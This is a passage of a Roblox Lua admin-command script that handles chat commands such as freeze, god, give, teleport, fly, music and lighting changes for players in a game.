  1042. if msg:lower():sub(1,8) == "unsmoke " then
  1043. local plrz = GetPlr(plr, msg:lower():sub(9))
  1044. for i, v in pairs(plrz) do
  1045. coroutine.resume(coroutine.create(function()
  1046. if v and v.Character and v.Character:findFirstChild("Torso") then
  1047. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1048. end
  1049. end))
  1050. end
  1051. end
  1052.  
  1053. if msg:lower():sub(1,9) == "sparkles " then
  1054. local plrz = GetPlr(plr, msg:lower():sub(10))
  1055. for i, v in pairs(plrz) do
  1056. coroutine.resume(coroutine.create(function()
  1057. if v and v.Character and v.Character:findFirstChild("Torso") then
  1058. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1059. end
  1060. end))
  1061. end
  1062. end
  1063.  
  1064. if msg:lower():sub(1,11) == "unsparkles " then
  1065. local plrz = GetPlr(plr, msg:lower():sub(12))
  1066. for i, v in pairs(plrz) do
  1067. coroutine.resume(coroutine.create(function()
  1068. if v and v.Character and v.Character:findFirstChild("Torso") then
  1069. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1070. end
  1071. end))
  1072. end
  1073. end
  1074.  
  1075. if msg:lower():sub(1,3) == "ff " then
  1076. local plrz = GetPlr(plr, msg:lower():sub(4))
  1077. for i, v in pairs(plrz) do
  1078. coroutine.resume(coroutine.create(function()
  1079. if v and v.Character then Instance.new("ForceField", v.Character) end
  1080. end))
  1081. end
  1082. end
  1083.  
  1084. if msg:lower():sub(1,5) == "unff " then
  1085. local plrz = GetPlr(plr, msg:lower():sub(6))
  1086. for i, v in pairs(plrz) do
  1087. coroutine.resume(coroutine.create(function()
  1088. if v and v.Character then
  1089. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1090. end
  1091. end))
  1092. end
  1093. end
  1094.  
  1095. if msg:lower():sub(1,7) == "punish " then
  1096. local plrz = GetPlr(plr, msg:lower():sub(8))
  1097. for i, v in pairs(plrz) do
  1098. coroutine.resume(coroutine.create(function()
  1099. if v and v.Character then
  1100. v.Character.Parent = game:service("Lighting")
  1101. end
  1102. end))
  1103. end
  1104. end
  1105.  
  1106. if msg:lower():sub(1,9) == "unpunish " then
  1107. local plrz = GetPlr(plr, msg:lower():sub(10))
  1108. for i, v in pairs(plrz) do
  1109. coroutine.resume(coroutine.create(function()
  1110. if v and v.Character then
  1111. v.Character.Parent = game:service("Workspace")
  1112. v.Character:MakeJoints()
  1113. end
  1114. end))
  1115. end
  1116. end
  1117.  
  1118. if msg:lower():sub(1,7) == "freeze " then
  1119. local plrz = GetPlr(plr, msg:lower():sub(8))
  1120. for i, v in pairs(plrz) do
  1121. coroutine.resume(coroutine.create(function()
  1122. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1123. for a, obj in pairs(v.Character:children()) do
  1124. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1125. end
  1126. end
  1127. end))
  1128. end
  1129. end
  1130.  
  1131. if msg:lower():sub(1,5) == "thaw " then
  1132. local plrz = GetPlr(plr, msg:lower():sub(6))
  1133. for i, v in pairs(plrz) do
  1134. coroutine.resume(coroutine.create(function()
  1135. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1136. for a, obj in pairs(v.Character:children()) do
  1137. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1138. end
  1139. end
  1140. end))
  1141. end
  1142. end
  1143.  
  1144. if msg:lower():sub(1,5) == "heal " then
  1145. local plrz = GetPlr(plr, msg:lower():sub(6))
  1146. for i, v in pairs(plrz) do
  1147. coroutine.resume(coroutine.create(function()
  1148. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1149. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1150. end
  1151. end))
  1152. end
  1153. end
  1154.  
  1155. if msg:lower():sub(1,4) == "god " then
  1156. local plrz = GetPlr(plr, msg:lower():sub(5))
  1157. for i, v in pairs(plrz) do
  1158. coroutine.resume(coroutine.create(function()
  1159. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1160. v.Character.Humanoid.MaxHealth = math.huge
  1161. v.Character.Humanoid.Health = 9e9
  1162. end
  1163. end))
  1164. end
  1165. end
  1166.  
  1167. if msg:lower():sub(1,6) == "ungod " then
  1168. local plrz = GetPlr(plr, msg:lower():sub(7))
  1169. for i, v in pairs(plrz) do
  1170. coroutine.resume(coroutine.create(function()
  1171. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1172. v.Character.Humanoid.MaxHealth = 100
  1173. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1174. end
  1175. end))
  1176. end
  1177. end
  1178.  
  1179. if msg:lower():sub(1,8) == "ambient " then
  1180. local chk1 = msg:lower():sub(9):find(" ") + 8
  1181. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1182. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1183. end
  1184.  
  1185. if msg:lower():sub(1,11) == "brightness " then
  1186. game.Lighting.Brightness = msg:sub(12)
  1187. end
  1188.  
  1189. if msg:lower():sub(1,5) == "time " then
  1190. game.Lighting.TimeOfDay = msg:sub(6)
  1191. end
  1192.  
  1193. if msg:lower():sub(1,9) == "fogcolor " then
  1194. local chk1 = msg:lower():sub(10):find(" ") + 9
  1195. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1196. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1197. end
  1198.  
  1199. if msg:lower():sub(1,7) == "fogend " then
  1200. game.Lighting.FogEnd = msg:sub(8)
  1201. end
  1202.  
  1203. if msg:lower():sub(1,9) == "fogstart " then
  1204. game.Lighting.FogStart = msg:sub(10)
  1205. end
  1206.  
  1207. if msg:lower():sub(1,7) == "btools " then
  1208. local plrz = GetPlr(plr, msg:lower():sub(8))
  1209. for i, v in pairs(plrz) do
  1210. coroutine.resume(coroutine.create(function()
  1211. if v and v:findFirstChild("Backpack") then
  1212. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1213. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1214. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1215. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1216. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1217. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1218. local sb
  1219. local hs
  1220. local pdist
  1221.  
  1222. script.Parent.Selected:connect(function(mouse)
  1223. if not mouse then return end
  1224. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1225. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1226. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1227. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1228. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1229. end)
  1230.  
  1231. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1232. end
  1233. end))
  1234. end
  1235. end
  1236.  
  1237. if msg:lower():sub(1,12) == "startergive " then
  1238. local chk1 = msg:lower():sub(13):find(" ") + 12
  1239. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1240. for i, v in pairs(plrz) do
  1241. coroutine.resume(coroutine.create(function()
  1242. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1243. for a, tool in pairs(game.Lighting:children()) do
  1244. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1245. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1246. end
  1247. end
  1248. end
  1249. end))
  1250. end
  1251. end
  1252.  
  1253. if msg:lower():sub(1,5) == "give " then
  1254. local chk1 = msg:lower():sub(6):find(" ") + 5
  1255. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1256. for i, v in pairs(plrz) do
  1257. coroutine.resume(coroutine.create(function()
  1258. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1259. for a, tool in pairs(game.Lighting:children()) do
  1260. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1261. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1262. end
  1263. end
  1264. end
  1265. end))
  1266. end
  1267. end
  1268.  
  1269. if msg:lower():sub(1,12) == "removetools " then
  1270. local plrz = GetPlr(plr, msg:lower():sub(13))
  1271. for i, v in pairs(plrz) do
  1272. coroutine.resume(coroutine.create(function()
  1273. if v and v.Character and v:findFirstChild("Backpack") then
  1274. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1275. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1276. end
  1277. end))
  1278. end
  1279. end
  1280.  
  1281. if msg:lower():sub(1,5) == "rank " then
  1282. local chk1 = msg:lower():sub(6):find(" ") + 5
  1283. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1284. for i, v in pairs(plrz) do
  1285. coroutine.resume(coroutine.create(function()
  1286. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1287. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1288. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1289. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1290. end
  1291. end))
  1292. end
  1293. end
  1294.  
  1295. if msg:lower():sub(1,7) == "damage " then
  1296. local chk1 = msg:lower():sub(8):find(" ") + 7
  1297. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1298. for i, v in pairs(plrz) do
  1299. coroutine.resume(coroutine.create(function()
  1300. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1301. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1302. end
  1303. end))
  1304. end
  1305. end
  1306.  
  1307. if msg:lower():sub(1,5) == "grav " then
  1308. local plrz = GetPlr(plr, msg:lower():sub(6))
  1309. for i, v in pairs(plrz) do
  1310. coroutine.resume(coroutine.create(function()
  1311. if v and v.Character and v.Character:findFirstChild("Torso") then
  1312. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1313. end
  1314. end))
  1315. end
  1316. end
  1317.  
  1318. if msg:lower():sub(1,8) == "setgrav " then
  1319. local chk1 = msg:lower():sub(9):find(" ") + 8
  1320. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1321. for i, v in pairs(plrz) do
  1322. coroutine.resume(coroutine.create(function()
  1323. if v and v.Character and v.Character:findFirstChild("Torso") then
  1324. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1325. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1326. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1327. end
  1328. end))
  1329. end
  1330. end
  1331.  
  1332. if msg:lower():sub(1,7) == "nograv " then
  1333. local plrz = GetPlr(plr, msg:lower():sub(8))
  1334. for i, v in pairs(plrz) do
  1335. coroutine.resume(coroutine.create(function()
  1336. if v and v.Character and v.Character:findFirstChild("Torso") then
  1337. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1338. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1339. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1340. end
  1341. end))
  1342. end
  1343. end
  1344.  
  1345. if msg:lower():sub(1,7) == "health " then
  1346. local chk1 = msg:lower():sub(8):find(" ") + 7
  1347. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1348. for i, v in pairs(plrz) do
  1349. coroutine.resume(coroutine.create(function()
  1350. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1351. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1352. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1353. end
  1354. end))
  1355. end
  1356. end
  1357.  
  1358. if msg:lower():sub(1,6) == "speed " then
  1359. local chk1 = msg:lower():sub(7):find(" ") + 6
  1360. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1361. for i, v in pairs(plrz) do
  1362. coroutine.resume(coroutine.create(function()
  1363. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1364. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1365. end
  1366. end))
  1367. end
  1368. end
  1369.  
  1370. if msg:lower():sub(1,5) == "team " then
  1371. local chk1 = msg:lower():sub(6):find(" ") + 5
  1372. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1373. for i, v in pairs(plrz) do
  1374. coroutine.resume(coroutine.create(function()
  1375. if v and game:findFirstChild("Teams") then
  1376. for a, tm in pairs(game.Teams:children()) do
  1377. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1378. end
  1379. end
  1380. end))
  1381. end
  1382. end
  1383.  
  1384. if msg:lower():sub(1,6) == "place " then
  1385. local chk1 = msg:lower():sub(7):find(" ") + 6
  1386. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1387. for i, v in pairs(plrz) do
  1388. coroutine.resume(coroutine.create(function()
  1389. if v and v:findFirstChild("PlayerGui") then
  1390. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1391. end
  1392. end))
  1393. end
  1394. end
  1395.  
  1396. if msg:lower():sub(1,3) == "tp " then
  1397. local chk1 = msg:lower():sub(4):find(" ") + 3
  1398. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1399. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1400. for i, v in pairs(plrz) do
  1401. coroutine.resume(coroutine.create(function()
  1402. for i2, v2 in pairs(plrz2) do
  1403. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1404. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1405. end
  1406. end
  1407. end))
  1408. end
  1409. end
  1410.  
  1411. if msg:lower():sub(1,7) == "change " then
  1412. local chk1 = msg:lower():sub(8):find(" ") + 7
  1413. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1414. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1415. for i, v in pairs(plrz) do
  1416. coroutine.resume(coroutine.create(function()
  1417. if v and v:findFirstChild("leaderstats") then
  1418. for a, st in pairs(v.leaderstats:children()) do
  1419. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1420. end
  1421. end
  1422. end))
  1423. end
  1424. end
  1425.  
  1426. if msg:lower():sub(1,6) == "shirt " then
  1427. local chk1 = msg:lower():sub(7):find(" ") + 6
  1428. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1429. for i, v in pairs(plrz) do
  1430. coroutine.resume(coroutine.create(function()
  1431. if v and v.Character then
  1432. for i,v in pairs(v.Character:children()) do
  1433. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1434. end
  1435. end
  1436. end))
  1437. end
  1438. end
  1439.  
  1440. if msg:lower():sub(1,6) == "pants " then
  1441. local chk1 = msg:lower():sub(7):find(" ") + 6
  1442. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1443. for i, v in pairs(plrz) do
  1444. coroutine.resume(coroutine.create(function()
  1445. if v and v.Character then
  1446. for i,v in pairs(v.Character:children()) do
  1447. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1448. end
  1449. end
  1450. end))
  1451. end
  1452. end
  1453.  
  1454. if msg:lower():sub(1,5) == "face " then
  1455. local chk1 = msg:lower():sub(6):find(" ") + 5
  1456. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1457. for i, v in pairs(plrz) do
  1458. coroutine.resume(coroutine.create(function()
  1459. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1460. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1461. end
  1462. end))
  1463. end
  1464. end
  1465.  
  1466. ---------------------
  1467. -- FunCommands --
  1468. ---------------------
  1469. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1470.  
  1471. if msg:lower():sub(1,8) == "swagify " then
  1472. local plrz = GetPlr(plr, msg:lower():sub(9))
  1473. for i, v in pairs(plrz) do
  1474. coroutine.resume(coroutine.create(function()
  1475. if v and v.Character then
  1476. for i,v in pairs(v.Character:children()) do
  1477. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1478. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1479. end
  1480. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1481. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1482. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1483. local torso = plr.Character.Torso
  1484. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1485. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1486. p.Size = Vector3.new(.2,.2,.2)
  1487. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1488. local motor1 = Instance.new("Motor", p)
  1489. motor1.Part0 = p
  1490. motor1.Part1 = torso
  1491. motor1.MaxVelocity = .01
  1492. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1493. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1494. local wave = false
  1495. repeat wait(1/44)
  1496. local ang = 0.1
  1497. local oldmag = torso.Velocity.magnitude
  1498. local mv = .002
  1499. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1500. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1501. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1502. motor1.DesiredAngle = -ang
  1503. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1504. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1505. if torso.Velocity.magnitude < .1 then wait(.1) end
  1506. until not p or p.Parent ~= torso.Parent
  1507. script:Destroy()
  1508. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1509. end
  1510. end))
  1511. end
  1512. end
  1513.  
  1514. if msg:lower():sub(1,6) == "music " then
  1515. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1516. local id = msg:sub(7)
  1517. local pitch = 1
  1518. if tostring(id):lower():find("caramell") then id = 2303479 end
  1519. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1520. if tostring(id):find("rick") then id = 2027611 end
  1521. if tostring(id):find("halo") then id = 1034065 end
  1522. if tostring(id):find("pokemon") then id = 1372261 end
  1523. if tostring(id):find("cursed") then id = 1372257 end
  1524. if tostring(id):find("extreme") then id = 11420933 end
  1525. if tostring(id):find("awaken") then id = 27697277 end
  1526. if tostring(id):find("alone") then id = 27697392 end
  1527. if tostring(id):find("mario") then id = 1280470 end
  1528. if tostring(id):find("choir") then id = 1372258 end
  1529. if tostring(id):find("chrono") then id = 1280463 end
  1530. if tostring(id):find("dotr") then id = 11420922 end
  1531. if tostring(id):find("entertain") then id = 27697267 end
  1532. if tostring(id):find("fantasy") then id = 1280473 end
  1533. if tostring(id):find("final") then id = 1280414 end
  1534. if tostring(id):find("emblem") then id = 1372259 end
  1535. if tostring(id):find("flight") then id = 27697719 end
  1536. if tostring(id):find("banjo") then id = 27697298 end
  1537. if tostring(id):find("gothic") then id = 27697743 end
  1538. if tostring(id):find("hiphop") then id = 27697735 end
  1539. if tostring(id):find("intro") then id = 27697707 end
  1540. if tostring(id):find("mule") then id = 1077604 end
  1541. if tostring(id):find("film") then id = 27697713 end
  1542. if tostring(id):find("nezz") then id = 8610025 end
  1543. if tostring(id):find("angel") then id = 1372260 end
  1544. if tostring(id):find("resist") then id = 27697234 end
  1545. if tostring(id):find("schala") then id = 5985787 end
  1546. if tostring(id):find("organ") then id = 11231513 end
  1547. if tostring(id):find("tunnel") then id = 9650822 end
  1548. if tostring(id):find("spanish") then id = 5982975 end
  1549. if tostring(id):find("venom") then id = 1372262 end
  1550. if tostring(id):find("wind") then id = 1015394 end
  1551. if tostring(id):find("guitar") then id = 5986151 end
  1552. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1553. end
  1554.  
  1555. if msg:lower() == "stopmusic" then
  1556. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1557. end
  1558.  
  1559. if msg:lower() == "musiclist" then
  1560. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1561. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1562. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1563. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1564. end
  1565.  
  1566. if msg:lower():sub(1,4) == "fly " then
  1567. local plrz = GetPlr(plr, msg:lower():sub(5))
  1568. for i, v in pairs(plrz) do
  1569. coroutine.resume(coroutine.create(function()
  1570. if v and v:findFirstChild("PlayerGui") then
  1571. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1572. local mouse = game.Players.LocalPlayer:GetMouse()
  1573. repeat wait() until mouse
  1574. local plr = game.Players.LocalPlayer
  1575. local torso = plr.Character.Torso
  1576. local flying = true
  1577. local deb = true
  1578. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1579. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1580. local maxspeed = 50
  1581. local speed = 0
  1582. function Fly()
  1583. local bg = Instance.new("BodyGyro", torso)
  1584. bg.P = 9e4
  1585. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1586. bg.cframe = torso.CFrame
  1587. local bv = Instance.new("BodyVelocity", torso)
  1588. bv.velocity = Vector3.new(0,0.1,0)
  1589. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1590. repeat wait()
  1591. plr.Character.Humanoid.PlatformStand = true
  1592. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1593. speed = speed+.5+(speed/maxspeed)
  1594. if speed > maxspeed then
  1595. speed = maxspeed
  1596. end
  1597. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1598. speed = speed-1
  1599. if speed < 0 then
  1600. speed = 0
  1601. end
  1602. end
  1603. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1604. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1605. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1606. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1607. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1608. else
  1609. bv.velocity = Vector3.new(0,0.1,0)
  1610. end
  1611. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1612. until not flying
  1613. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1614. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1615. speed = 0
  1616. bg:Destroy()
  1617. bv:Destroy()
  1618. plr.Character.Humanoid.PlatformStand = false
  1619. end
  1620. mouse.KeyDown:connect(function(key)
  1621. if key:lower() == "e" then
  1622. if flying then flying = false
  1623. else
  1624. flying = true
  1625. Fly()
  1626. end
  1627. elseif key:lower() == "w" then
  1628. ctrl.f = 1
  1629. elseif key:lower() == "s" then
  1630. ctrl.b = -1
  1631. elseif key:lower() == "a" then
  1632. ctrl.l = -1
  1633. elseif key:lower() == "d" then
  1634. ctrl.r = 1
  1635. end
  1636. end)
  1637. mouse.KeyUp:connect(function(key)
  1638. if key:lower() == "w" then
  1639. ctrl.f = 0
  1640. elseif key:lower() == "s" then
  1641. ctrl.b = 0
  1642. elseif key:lower() == "a" then
  1643. ctrl.l = 0
  1644. elseif key:lower() == "d" then
  1645. ctrl.r = 0
  1646. end
  1647. end)
  1648. Fly()]]
  1649. cl.Parent = v.PlayerGui cl.Disabled = false
  1650. end
  1651. end))
  1652. end
  1653. end
  1654.  
  1655. if msg:lower():sub(1,6) == "unfly " then
  1656. local plrz = GetPlr(plr, msg:lower():sub(7))
  1657. for i, v in pairs(plrz) do
  1658. coroutine.resume(coroutine.create(function()
  1659. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1660. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1661. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1662. wait(.1) v.Character.Humanoid.PlatformStand = false
  1663. end
  1664. end))
  1665. end
  1666. end
  1667.  
  1668. if msg:lower() == "disco" then
  1669. for i, v in pairs(lobjs) do v:Destroy() end
  1670. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1671. game.Lighting.Ambient = color
  1672. game.Lighting.FogColor = color
  1673. until nil]]
  1674. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1675. end
  1676.  
  1677. if msg:lower() == "flash" then
  1678. for i, v in pairs(lobjs) do v:Destroy() end
  1679. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1680. game.Lighting.Ambient = Color3.new(1,1,1)
  1681. game.Lighting.FogColor = Color3.new(1,1,1)
